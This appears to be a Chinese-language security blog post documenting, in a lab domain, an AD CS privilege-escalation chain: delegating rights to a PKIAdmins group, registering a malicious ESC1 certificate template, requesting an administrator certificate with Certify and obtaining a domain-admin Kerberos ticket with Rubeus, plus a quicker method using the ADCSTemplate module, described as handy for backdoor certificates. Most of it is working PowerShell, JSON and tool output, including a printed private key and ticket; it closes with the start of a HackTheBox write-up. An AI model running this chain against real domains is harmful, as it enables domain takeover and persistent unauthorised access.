$ConfigNC = (Get-ADRootDSE).configurationNamingContext

# 容器路径
$TemplateCN = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
$OIDCN      = "CN=OID,CN=Public Key Services,CN=Services,$ConfigNC"
$EnrollmentPath = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$ConfigNC"

# 获取 CA
$CAs = Get-ADObject -SearchBase $EnrollmentPath -SearchScope OneLevel -Filter *

# 获取 PKIAdmins SID
$account = New-Object System.Security.Principal.NTAccount("WACKADCS\PKIAdmins")
$sid     = $account.Translate([System.Security.Principal.SecurityIdentifier])

# ACE 构造函数（6参数）
function Add-PKIAdminACE($path, $rights) {
    $acl = Get-ACL "AD:$path"
    $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
        $sid,
        $rights,
        [System.Security.AccessControl.AccessControlType]::Allow,
        [GUID]::Empty,
        [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None,
        [GUID]::Empty
    )
    $acl.AddAccessRule($ace)
    Set-ACL "AD:$path" $acl
}

#  Certificate Templates 容器权限
Add-PKIAdminACE -path $TemplateCN -rights ([System.DirectoryServices.ActiveDirectoryRights]::CreateChild -bor [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)

# OID 容器权限
Add-PKIAdminACE -path $OIDCN -rights ([System.DirectoryServices.ActiveDirectoryRights]::CreateChild -bor [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)

# CA 对象权限（允许写入 certificateTemplates 属性）
foreach ($CA in $CAs) {
    $CAPath = $CA.DistinguishedName
    Add-PKIAdminACE -path $CAPath -rights ([System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)
}

# 可选：检查权限
foreach ($CA in $CAs) {
    Write-Host "==== $($CA.Name) ===="
    Get-ACL "AD:$($CA.DistinguishedName)" |
        Select-Object -ExpandProperty Access |
        Where-Object {$_.IdentityReference -like "*PKIAdmins*"}
}

# 可选：检查模板和 OID 容器
Write-Host "=== Certificate Templates ==="
Get-ACL "AD:$TemplateCN" | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -like "*PKIAdmins*"}

Write-Host "=== OID Container ==="
Get-ACL "AD:$OIDCN" | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -like "*PKIAdmins*"}

利用域管权限执行后可以看到效果正常，一个可以用于利用，常见的pkiadmin组就被创建好了

PS C:\Users\Administrator\Desktop> powershell .\make_pkiadmins.ps1
==== wackadcs-DC-CA ====


ActiveDirectoryRights : WriteProperty
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : WACKADCS\PKIAdmins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

=== Certificate Templates ===
ActiveDirectoryRights : CreateChild, WriteProperty
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : WACKADCS\PKIAdmins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

=== OID Container ===
ActiveDirectoryRights : CreateChild, WriteProperty
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : WACKADCS\PKIAdmins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

接下来我创建了一个testuser用于测试远程攻击，将其添加入pkiadmin以及远程管理组

PS C:\Users\Administrator> $password = ConvertTo-SecureString "wacky123!@#" -AsPlainText -Force
PS C:\Users\Administrator> New-ADUser -Name $userName `
>>            -SamAccountName $userName `
>>            -AccountPassword $password `
>>            -Enabled $true `
>>            -Path $ou
PS C:\Users\Administrator> Add-ADGroupMember -Identity "PKIAdmins" -Members $userName
PS C:\Users\Administrator> Add-ADGroupMember -Identity "Remote Desktop Users" -Members $userName
PS C:\Users\Administrator> Add-ADGroupMember -Identity "Remote Management Users" -Members $userName

注册恶意模板

当我们利用testuser权限winrm登陆机器的时候，就可以一步一步注册模板了

首先创建OID对象

evil-winrm-py PS C:\Users\testuser\Documents> $OIDProps = @{
    'DisplayName'             = 'ESC1'
    'msPKI-Cert-Template-OID' = '1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639'
    'flags'                   = 1
}
evil-winrm-py PS C:\Users\testuser\Documents> New-ADObject -Path $OIDPath -Name 'ESC1' -Type 'msPKI-Enterprise-Oid' -OtherAttributes $OIDProps

之后创建证书模板对象

evil-winrm-py PS C:\Users\testuser\Documents> $TemplatePath = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
evil-winrm-py PS C:\Users\testuser\Documents> $TemplateProps = @{
    'displayName'                   = 'ESC1'
    'msPKI-Cert-Template-OID'       = '1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639'
    'flags'                         = 131616
    'revision'                      = 100
    'msPKI-Certificate-Application-Policy' = @('1.3.6.1.5.5.7.3.2')
    'msPKI-Certificate-Name-Flag'   = 1
    'msPKI-Enrollment-Flag'         = 0
    'msPKI-Minimal-Key-Size'        = 2048
    'msPKI-Private-Key-Flag'        = 16842752
    'msPKI-RA-Signature'            = 0
    'msPKI-Template-Minor-Revision' = 4
    'msPKI-Template-Schema-Version' = 2
    'pKICriticalExtensions'          = @('2.5.29.15','2.5.29.7')
    'pKIDefaultCSPs'                 = @('3,Microsoft Base DSS Cryptographic Provider',
                                          '2,Microsoft Base Cryptographic Provider v1.0',
                                          '1,Microsoft Enhanced Cryptographic Provider v1.0')
    'pKIDefaultKeySpec'              = 2
    'pKIExpirationPeriod'            = [byte[]](0,64,57,135,46,225,254,255)
    'pKIExtendedKeyUsage'            = @('1.3.6.1.5.5.7.3.2')
    'pKIKeyUsage'                    = [byte[]](128,0)
    'pKIMaxIssuingDepth'             = 0
    'pKIOverlapPeriod'               = [byte[]](0,128,166,10,255,222,255,255)
}
evil-winrm-py PS C:\Users\testuser\Documents> New-ADObject -Path $TemplatePath -Name 'ESC1' -Type 'pKICertificateTemplate' -OtherAttributes $Template
Props

在ca中注册模板

evil-winrm-py PS C:\Users\testuser\Documents> $CAs = Get-ADObject -SearchBase $EnrollmentPath -SearchScope OneLevel -Filter *
evil-winrm-py PS C:\Users\testuser\Documents>
foreach ($CA in $CAs) {
    Set-ADObject -Identity $CA.DistinguishedName -Add @{certificateTemplates='ESC1'}
}

当注册完毕后，模板只是注册在了ca当中，但是没有人能利用它，我们需要在其中属性中写入能请求的组，作为它的onwer，我们是有权限的。

$TemplateDN = "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
$acl = Get-ACL "AD:$TemplateDN"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    (New-Object System.Security.Principal.NTAccount("PKIadmins")),
    "ExtendedRight",
    "Allow",
    [GUID]"00000000-0000-0000-0000-000000000000"
)
$acl.AddAccessRule($rule)
Set-ACL -Path "AD:$TemplateDN" -AclObject $acl

没有报错则是正常的，我们尝试使用certipy远程查找一下可利用模板

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
...........
    Template Name                       : ESC1
    Display Name                        : ESC1
    Certificate Authorities             : wackadcs-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-08-29T10:18:30+00:00
    Template Last Modified              : 2025-08-29T10:18:30+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : WACKADCS.COM\PKIAdmins
      Object Control Permissions
        Owner                           : WACKADCS.COM\testuser
        Full Control Principals         : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Owner Principals          : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Dacl Principals           : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
    [+] User Enrollable Principals      : WACKADCS.COM\PKIAdmins
    [+] User ACL Principals             : WACKADCS.COM\testuser
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : Template is owned by user.

可以看到Enrollment Rights: WACKADCS.COM\PKIAdmins这则允许我们当前组去以任意身份请求证书,我们可以利用Certify和Rubeus尝试利用

先以administrator身份请求证书

evil-winrm-py PS C:\Users\testuser\Documents> .\Certify.exe request /ca:dc.wackadcs.com\wackadcs-DC-CA /template:ESC /altname:administrator

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.1.0                               

[*] Action: Request a Certificates

[*] Current user context    : WACKADCS\testuser
[*] No subject name specified, using current context as subject.

[*] Template                : ESC
[*] Subject                 : CN=testuser, CN=Users, DC=wackadcs, DC=com
[*] AltName                 : administrator

[*] Certificate Authority   : dc.wackadcs.com\wackadcs-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 8

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAx96DY8qk0ZekO+1NVRo+KT9iZf8BATvKqZ5xyfVm26uZAcPJ
D3nj6DMxH41b6RK1IpJpKct+dwD9R4Fca3uP2SAxiFxY5iMigd3I/1nHpZO3X/DS
0XPwVY0VeCDgFtDtqKMrQsTcQgzTcrwL5SWE+96E5Qk6lLhsbx/ZSlO2ncKRnx+F
heuN7gnA4qn1TWgZf0BTU1xKfxB5UqVS8fF7IEo/kkKSTm14w//8R27Ua6yarEbB
sjMF3oHj+FxnL7fkvVFTmto5hCaTUzdxcSOdF8dx0oKperulzItnasmKtCxUO2w4
WKBrNMMsRwAh0q/nWRQwOquJbc/0aGod7u7RlQIDAQABAoIBAErbulZL9cNSin6v
eIFhXNrSFKajBdtSa6tv3qqHsUihUqNokwuq2YOEeOeaaEw5Z4JVV/IBd5JW2oZH
mzfehZgLCMJL5Df9/NSrHrcVB0OqucnDRxKP2/oO53Wgyo2BHyJEStWtKdnLN/8H
E2V10gML6rZl6Hz/Pg243geKpyEarrhBHBP7W/u1iUs0ySpV4SxFOh4dFTWJmMWM
GfuVUU7BTU8OZwQUkyB9LbrT+q3p0DUgVx7zLlqbC1MzbjP61jQ5JAm3ep6Vq/Yb
NiPnQVbeHbMQjqjOqDm0zEV5QYQtVVA+aRd/5FzwmmI0VRz1lTWBUXwwdCYEHcWZ
jcSD8FkCgYEA9P7Q3Icrcbin4El/rAZVHqpHuALtzClSOjYBLmfUvd8Fq8TmEiZ/
2nbXXThV/U5qIxgkRSVHvCNGZelLPJN5r4dUJyy9kumxHYIJfER/LW+5A1KGC86k
tgkfIRmDzT9Nu8Z5npHa0L2LYR+c/rTFZKtSQAjVEjNkdavYwdmyvLsCgYEA0NjL
bxm/YWgoW/MQ1aqfTVOvI1IGdPZ+VPsXVHSX4VxbasTqobZ16wJLE+jtsEa+HeWa
fA6oXAGDD0Z1y6V4/GwVKI/zLhSgMbcoB/+NSnFu0HDHLbV2WtPpXXfIXk361/ns
5G5XWGBYvJYDzHoQHftjdVzECzzA2fnWTftPbe8CgYEAolS0z2pAvvk7QsFwdus7
OzZYjvRh3AUFFszxu23Q6H39o/Ky/xPDY12bFYlecJiketxkK+ynu2EkJCKQV3Lg
Dg39FHfwpIdzc7nVzyETo2eDj0/+wZQKTxN8LNJbIoPvXZwEuayq7+SnlZL800e0
AyABP6yagZTL26wh01ALvkECgYBJuj8XGZ/WY07cJxLqWzGhusk5Ttu4rswqc/no
dsCnblNXfezW6fL24/hdLv26HT9Ajq3a3dHRqTb7TYSIQAJWGlHd3/OZcO6cnmwj
ZrQac7ELJMUr/cOqjOT1ejPiFuVXGYPnoIx1Ro4NBWiR5wWJkBWsePM8hFYQnYJq
RS3lQQKBgQCZKFzAz4pWFRtrpNNUvOHRd6WBLAYNiGuGe/IKniQeUZRtkJaHQdXv
jwSBlXfmUGetfY8D5nlD6fybxUYf0Osgb7WAy/wQSYUWfGyw3k62B1+a8l8rpMSI
/2eWgG/BwJxu7z07mb4Z0Zp+V9a3R7yxc0PV1/VEwGucFFEXSsXhPA==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFpzCCBI+gAwIBAgITRwAAAAiztITCzCjvHwAAAAAACDANBgkqhkiG9w0BAQsF
ADBIMRMwEQYKCZImiZPyLGQBGRYDY29tMRgwFgYKCZImiZPyLGQBGRYId2Fja2Fk
Y3MxFzAVBgNVBAMTDndhY2thZGNzLURDLUNBMB4XDTI1MDgyOTEwNTMxMFoXDTI2
MDgyOTEwNTMxMFowUjETMBEGCgmSJomT8ixkARkWA2NvbTEYMBYGCgmSJomT8ixk
ARkWCHdhY2thZGNzMQ4wDAYDVQQDEwVVc2VyczERMA8GA1UEAxMIdGVzdHVzZXIw
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDH3oNjyqTRl6Q77U1VGj4p
P2Jl/wEBO8qpnnHJ9Wbbq5kBw8kPeePoMzEfjVvpErUikmkpy353AP1HgVxre4/Z
IDGIXFjmIyKB3cj/Wcelk7df8NLRc/BVjRV4IOAW0O2ooytCxNxCDNNyvAvlJYT7
3oTlCTqUuGxvH9lKU7adwpGfH4WF643uCcDiqfVNaBl/QFNTXEp/EHlSpVLx8Xsg
Sj+SQpJObXjD//xHbtRrrJqsRsGyMwXegeP4XGcvt+S9UVOa2jmEJpNTN3FxI50X
x3HSgql6u6XMi2dqyYq0LFQ7bDhYoGs0wyxHACHSr+dZFDA6q4ltz/Roah3u7tGV
AgMBAAGjggJ+MIICejA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3FQiDxo8/g+L0
AYGxix2Hm8gOhp6HRGud+qVSl9vWTAIBZAIBBDATBgNVHSUEDDAKBggrBgEFBQcD
AjAOBgNVHQ8BAf8EBAMCB4AwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDAjAd
BgNVHQ4EFgQUemYdeXrgkaNdHVKuML4ES+6js+cwKAYDVR0RBCEwH6AdBgorBgEE
AYI3FAIDoA8MDWFkbWluaXN0cmF0b3IwHwYDVR0jBBgwFoAUHiNq67IPqjWhNvQo
ARl4Yl+qc6IwgcgGA1UdHwSBwDCBvTCBuqCBt6CBtIaBsWxkYXA6Ly8vQ049d2Fj
a2FkY3MtREMtQ0EsQ049ZGMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9d2Fja2FkY3MsREM9
Y29tP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1j
UkxEaXN0cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUF
BzAChoGhbGRhcDovLy9DTj13YWNrYWRjcy1EQy1DQSxDTj1BSUEsQ049UHVibGlj
JTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixE
Qz13YWNrYWRjcyxEQz1jb20/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNz
PWNlcnRpZmljYXRpb25BdXRob3JpdHkwDQYJKoZIhvcNAQELBQADggEBAAXl5dhO
r0TQawv3i8jtRKNYDbbuMhyldqnMmyk7FEm8xGcT54pKMSNejMg0VtuNT/KvZBqP
oonOEPh2ZHoh03MVtklBRoR9YtaxbZPC7JEydM+pAy+OOS64m+E0+S7Ox5Xt8ZA2
HqXIWCaVuvlPty33lH1YiQhW81e3SaeRXuBDA56VFNijlFogvjrI1MNi7EOurQMb
Hxu0/zUr6TZOaboIwEavzvy2eNfv5f8bxFYRI9tmpt+4U6HLFlPoPQ/7S/m3boNS
Su1pp4C+PKflGlp/5jAyDvRLsm3CiAZRaO70vLUvmttoElHPU/XGUrI4F/u0iV1R
UeXZ3nCktWcfXoo=
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:03.8674143

复制完整的证书转换格式，并录入证书密钥

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:123456
Verifying - Enter Export Password:123456

将生成的证书传回目标并用Rubeus利用pkinit请求tgt并注入当前会话

evil-winrm-py PS C:\Users\testuser\Documents> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:123456 /ptt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4 

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=testuser, CN=Users, DC=wackadcs, DC=com 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'wackadcs.com\administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFzDCCBcigAwIBBaEDAgEWooIE3DCCBNhhggTUMIIE0KADAgEFoQ4bDFdBQ0tBRENTLkNPTaIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMd2Fja2FkY3MuY29to4IElDCCBJCgAwIBEqEDAgECooIEggSCBH69O4aY
      cdHlYpgzQPr73+J9XmXoRmCqA/Wki5r+CMbIMLvueqnCpjch6rrZgoRF95qgQxsEVstY8HYMJrzTBOPN
      onZMbl6pgzqV8QeTN3p/awlUIO8ac0SsDPH2YTLl/mFHBoohSqTfCKQ1Gn5/q+CsPZOaf5CLPWJoBOiB
      C5bDapEI2GUN4dafAgGoj0GAF9TJr19j8IkwPlQy14hohErsMGIWot2N7iuYJLb4ERWYnClPsP4z9kxe
      wCD41vGdxMt0/7eMYd/TeDbh13Ilx0QNkSBWtHwCD3LRfaDKHbXO6oZb2kbNME7vHJxFkcAemWEzAp+0
      /PekCxQRGxmYFVIheE/VJJu/RTJB8l3tRw+fw1GpXOepKQsPQMwTT8YZBrthPLy4qjBIjQNNKC/67e1s
      Kni5m3rnsK06eS++Zj4AyFKmq+4Vy43cqOAUGdL5nreySvceJmbNBJkHe+Dm7ClKk32/n4SnhS0x9uV2
      JjSzy3uSA2xpCjHBxtZUGGsxU82W947QU528OjKDS+vjMuJN+5eszcaCs96pmK3vWZNAhIImt5gj+sbV
      LzhnnDiuOBSF2SQHfM+NPYuci4G0zUmUcy9pZv3to3pKpD7ZuYwntlkM5rBqZRT8P8gbnrgpnWwc5rg/
      eQDyeznTkdEvPhyllcU72wn6ylS9i/FDl+U9S8VNEE+IwGYDippaL/TTWAuythmLg7+9VF5HSwnRp1ba
      7NMxeC9EXKLBd3i2nZH5uZ1Bh9YdjAWW86XRiw2BYektqNlea5t2eEmEUnO0ToMm7ZpYNIsCuHQuT0mZ
      DIRLMiLskNHTVuthsoADqOBTa8fsliEerCUYPE7fmsQgft9c4nbLul/3GfT4QecAJgxTjL6bLhokKPAz
      1iPdcSQY0VdrBXm3IoMSy+oTqSu6Y7vwywbO8qNiN8Xh4ZeILTb3pTj5iU8SxyxEdyk6w4KcseD/J0Ik
      4fu2aUf5l+xpg6Acr6JlVndzFOmXtxMIsEPhs6DdlzKw0NdtHE82hX9TCmFLsS62zGcf0mfxrpOCSwq6
      Tg95Zwu9WVLAl2rfaF8ZDrInjbzEW73rsZmIw6cbJ0c0a/GxB+3LONEZ4MRPHwPIAClYVMzisx2++CK4
      WnNkHSYX/ixqSLGxz0U6ta/bPz1aT8uAfyRG43Zt5lStEX+BFfcPjmv0oxDVnoxPOQKI4tCxjwlSTbqR
      VTursusFJ5/6X54BV0tDOvYp4gqdEy4+Qx2/2JihaVgd6+9M0dHZBeWhCFj1xew29ysl+Q80R1CvJ78l
      qCFhAfCF6wA1BBpgLdJaEuszFtxAr8BKdzPN0ksoWTJIYLSGcfogvRAcLpj2E+dlvO61YxAx1qjQSC97
      zeK5khB4ApzVP890GNrdSzubkztEBZ811IjauCOw8uERNzlayNd2f5AnTn+EfIUDp4dek/ixTDGCTFV8
      H4HrgKE1NUfduGzRmiS62PUJbPTRhy/aXL12XQvV6IiMgXPJ3KvIdkphxvlqS4oCKXmBiRuNvS9lMlCQ
      /yYqGfGco4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gGzAZoAMCARehEgQQVvE4TO9wnXeG
      nNT3b7pdi6EOGwxXQUNLQURDUy5DT02iGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhdG9yowcDBQBA4QAA
      pREYDzIwMjUwODI5MTEwODA1WqYRGA8yMDI1MDgyOTIxMDgwNVqnERgPMjAyNTA5MDUxMTA4MDVaqA4b
      DFdBQ0tBRENTLkNPTakhMB+gAwIBAqEYMBYbBmtyYnRndBsMd2Fja2FkY3MuY29t
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/wackadcs.com
  ServiceRealm          :  WACKADCS.COM
  UserName              :  administrator
  UserRealm             :  WACKADCS.COM
  StartTime             :  2025/8/29 19:08:05
  EndTime               :  2025/8/30 5:08:05
  RenewTill             :  2025/9/5 19:08:05
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  VvE4TO9wnXeGnNT3b7pdiw==

可以看到已经攻击成功了，我们通过pkiadmin在一个本没有可利用证书的环境中搞到了域管票据

evil-winrm-py PS C:\Users\testuser\Documents> klist

当前登录 ID 是 0:0xc60529

缓存的票证: (1)

#0>	客户端: administrator @ WACKADCS.COM
	服务器: krbtgt/wackadcs.com @ WACKADCS.COM
	Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
	票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize 
	开始时间: 8/29/2025 19:08:05 (本地)
	结束时间:   8/30/2025 5:08:05 (本地)
	续订时间: 9/5/2025 19:08:05 (本地)
	会话密钥类型: RSADSI RC4-HMAC(NT)
	缓存标志: 0x1 -> PRIMARY 
	调用的 KDC:

快速攻击

在我完成以上的实操测试后我感觉实在是有些繁琐，我不相信实际域环境中不具备远程管理证书服务的工具

最终我找到了这个ADCSTemplate脚本，它不是为了注册恶意模板的，事实上它甚至不会被标记为恶意脚本，只是它恰好具备了我们需要的远程注册证书的功能

为了利用它，我们需要将之前的esc1模板写成一个完整的json格式

{
    "name":  "ESC1",
    "displayName":  "ESC1",
    "objectClass":  "pKICertificateTemplate",
    "flags":  131616,
    "revision":  100,
    "msPKI-Cert-Template-OID":  "1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639",
    "msPKI-Certificate-Application-Policy":  [
                                                 "1.3.6.1.5.5.7.3.2"
                                             ],
    "msPKI-Certificate-Name-Flag":  1,
    "msPKI-Enrollment-Flag":  0,
    "msPKI-Minimal-Key-Size":  2048,
    "msPKI-Private-Key-Flag":  16842752,
    "msPKI-RA-Signature":  0,
    "msPKI-Template-Minor-Revision":  4,
    "msPKI-Template-Schema-Version":  2,
    "pKICriticalExtensions":  [
                                  "2.5.29.15",
                                  "2.5.29.7"
                              ],
    "pKIDefaultCSPs":  [
                           "3,Microsoft Base DSS Cryptographic Provider",
                           "2,Microsoft Base Cryptographic Provider v1.0",
                           "1,Microsoft Enhanced Cryptographic Provider v1.0"
                       ],
    "pKIDefaultKeySpec":  2,
    "pKIExpirationPeriod":  [
                                0,
                                64,
                                57,
                                135,
                                46,
                                225,
                                254,
                                255
                            ],
    "pKIExtendedKeyUsage":  [
                                "1.3.6.1.5.5.7.3.2"
                            ],
    "pKIKeyUsage":  [
                        128,
                        0
                    ],
    "pKIMaxIssuingDepth":  0,
    "pKIOverlapPeriod":  [
                             0,
                             128,
                             166,
                             10,
                             255,
                             222,
                             255,
                             255
                         ]
}

之后将这个json以及脚本传递到目标上去，运行如下命令

evil-winrm-py PS C:\Users\testuser\Documents> import-module .\ADCSTemplate.psm1 #导入模块
evil-winrm-py PS C:\Users\testuser\Documents> New-ADCSTemplate -DisplayName ESC -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "WACKADCS\PKI
Admins" #注册模板并且指定可请求组

运行完毕后可以看到也是成功注册

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 16 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'wackadcs-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'wackadcs-DC-CA'
[*] Checking web enrollment for CA 'wackadcs-DC-CA' @ 'dc.wackadcs.com'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : wackadcs-DC-CA
    DNS Name                            : dc.wackadcs.com
    Certificate Subject                 : CN=wackadcs-DC-CA, DC=wackadcs, DC=com
    Certificate Serial Number           : 19F9595699CD919E41F8D2620299CFA0
    Certificate Validity Start          : 2025-08-28 08:34:40+00:00
    Certificate Validity End            : 2030-08-28 08:44:40+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : WACKADCS.COM\Administrators
      Access Rights
        ManageCa                        : WACKADCS.COM\Administrators
                                          WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Enterprise Admins
        ManageCertificates              : WACKADCS.COM\Administrators
                                          WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Enterprise Admins
        Enroll                          : WACKADCS.COM\Authenticated Users
Certificate Templates
  0
    Template Name                       : ESC
    Display Name                        : ESC
    Certificate Authorities             : wackadcs-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-08-29T11:30:30+00:00
    Template Last Modified              : 2025-08-29T11:30:30+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : WACKADCS.COM\PKIAdmins
      Object Control Permissions
        Owner                           : WACKADCS.COM\testuser
        Full Control Principals         : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Owner Principals          : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Dacl Principals           : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
    [+] User Enrollable Principals      : WACKADCS.COM\PKIAdmins
    [+] User ACL Principals             : WACKADCS.COM\testuser
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : Template is owned by user.

利用这个脚本的好处是方便，且可以直接指定可请求证书组，在创建后门证书的时候好用，但他基于rsat域模块，且最近的更新也在7年前了，所以还是按需使用。

总结

以上就是本文的全部内容了，在本文完结并提交前，我确定网上并没有出现过如何利用注册恶意模板并利用的手法，尽管其其实并不算一个很难的角度，不过想要绕过桌面会话来创建一个模板确实需要对ca的底层交互了解很多，等过段时间有时间了我会再测试并书写一篇黄金证书的攻击手段

scepter-wp

Mon, 01 Sep 2025 20:56:42 +0800

靶机总结

使用了两次esc14，很有意思，本文技术补充以添加至血缇之书

配置如下

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cat start.sh 
ip=10.129.103.0
FQDN=DC01.scepter.htb
domain=scepter.htb

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cat krb5.conf 

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = SCEPTER.HTB

[realms]
    SCEPTER.HTB = {
        kdc = dc01.scepter.htb
        admin_server = dc01.scepter.htb
        default_domain = scepter.htb
    }

[domain_realm]
    .scepter.htb = SCEPTER.HTB
    scepter.htb = SCEPTER.HTB

